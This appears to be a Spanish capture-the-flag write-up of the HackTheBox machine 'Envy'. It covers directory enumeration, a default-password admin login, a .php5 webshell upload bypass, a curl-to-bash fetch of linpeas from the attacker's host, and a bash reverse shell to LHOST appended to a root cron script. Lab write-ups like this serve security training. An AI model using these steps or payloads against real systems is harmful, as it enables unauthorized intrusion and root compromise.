HackTheBox Medium Linux Web File Upload dirsearch

Envy

Enumeración web con dirsearch revela panel admin y directorio de uploads. Bypass de restricciones de subida de archivos para obtener RCE.

Jun 2023 ~60 min cat4clysm
Herramientas utilizadas
nmap dirsearch burp suite netcat linpeas

Reconocimiento

Enumeración de directorios con dirsearch sobre el servicio HTTP:

root@kali:~$
dirsearch -x 404,403,505 -u http://10.10.110.101
301  http://10.10.110.101/admin     → /admin/
302  http://10.10.110.101/admin/    → /admin/login.php
200  http://10.10.110.101/admin/login.php
200  http://10.10.110.101/config.php
200  http://10.10.110.101/modules/
200  http://10.10.110.101/uploads/
200  http://10.10.110.101/tmp/
/uploads/ accesible públicamente y /config.php devuelve respuesta vacía — posiblemente legible.

Acceso al panel admin

Probamos credenciales por defecto en /admin/login.php:

admin : admin    ✗
admin : password ✗
admin : admin123 ✓

El panel tiene funcionalidad de subida de archivos. Intentamos subir una webshell PHP — el servidor bloquea la extensión .php. Bypass con extensión doble:

shell.php.jpg  → bloqueado
shell.pHp      → bloqueado
shell.php5     → aceptado
root@kali:~$
curl "http://10.10.110.101/uploads/shell.php5?cmd=id"
uid=33(www-data) gid=33(www-data)

Escalada de privilegios

Subimos LinPEAS para enumerar vectores de escalada:

# Servidor en nuestra máquina
python3 -m http.server 8000

# En la shell de www-data
curl http://LHOST:8000/linpeas.sh | bash

LinPEAS encuentra credenciales en config.php y un cronjob ejecutado como root:

* * * * * root /opt/maintenance.sh

El script es escribible — añadimos una reverse shell:

echo "bash -i >& /dev/tcp/LHOST/5555 0>&1" >> /opt/maintenance.sh
nc -lvnp 5555
whoami
root

Lecciones aprendidas